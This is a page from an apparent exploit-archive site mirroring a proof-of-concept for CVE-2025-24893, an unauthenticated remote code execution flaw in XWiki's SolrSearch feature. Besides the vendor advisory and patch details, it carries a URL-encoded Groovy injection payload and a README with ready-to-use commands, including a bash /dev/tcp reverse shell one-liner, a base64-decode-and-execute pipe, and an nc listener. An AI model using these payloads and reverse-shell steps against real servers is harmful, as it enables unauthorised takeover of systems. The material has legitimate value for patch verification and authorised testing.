Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2025-24893 PoC — Remote code execution as guest via SolrSearchMacros request in xwiki

Source
Associated Vulnerability
Title:Remote code execution as guest via SolrSearchMacros request in xwiki (CVE-2025-24893)
Description:XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. Any guest can perform arbitrary remote code execution through a request to `SolrSearch`. This impacts the confidentiality, integrity and availability of the whole XWiki installation. To reproduce on an instance, without being logged in, go to `<host>/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28"Hello%20from"%20%2B%20"%20search%20text%3A"%20%2B%20%2823%20%2B%2019%29%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D%20`. If there is an output, and the title of the RSS feed contains `Hello from search text:42`, then the instance is vulnerable. This vulnerability has been patched in XWiki 15.10.11, 16.4.1 and 16.5.0RC1. Users are advised to upgrade. Users unable to upgrade may edit `Main.SolrSearchMacros` in `SolrSearchMacros.xml` on line 955 to match the `rawResponse` macro in `macros.vm#L2824` with a content type of `application/xml`, instead of simply outputting the content of the feed.
Readme
# CVE-2025-24893 - XWiki Remote Code Execution (RCE)

An updated proof-of-concept (PoC) exploit for **CVE-2025-24893**, a critical unauthenticated RCE vulnerability in [XWiki](https://xwiki.org/). This version improves on the original by allowing arbitrary shell command execution and clean reverse shell injection.

> By: [HexHunter404](https://github.com/dhiaZnaidi)

---

## ⚠️ Warning

This code is provided for **educational and authorized penetration testing purposes only**.  
**Do not use it on systems you do not own or have explicit permission to test.**

---

## ✨ Features

- Supports command execution via `bash -c '<command>'`
- Fully supports reverse shells (via base64 to bypass Groovy issues)
- Improved handling of command output
- Preserves `/xwiki` path and avoids redirect loops

---

## 🐍 Usage

```
python3 CVE-2025-24893-PoC.py -u http://<target>/xwiki -c "<command>"
```

---

## 🐚 Getting a Reverse Shell
. Base64-encode your reverse shell

```
echo "bash -i >& /dev/tcp/[IP]/4444 0>&1" | base64
```

. Send it using the PoC

```
python3  CVE-2025-24893-PoC.py -u [URL] -c "echo [Base64 Payload] | base64 -d | bash"
```

. Set up your listener

```
nc -lvnp 4444
```

If successful, you'll catch a shell


File Snapshot

[4.0K] /data/pocs/68f8fd823edf482505dd95ad644380b2b276f49e ├── [2.2K] CVE-2025-24893-PoC.py └── [1.2K] README.md 0 directories, 2 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →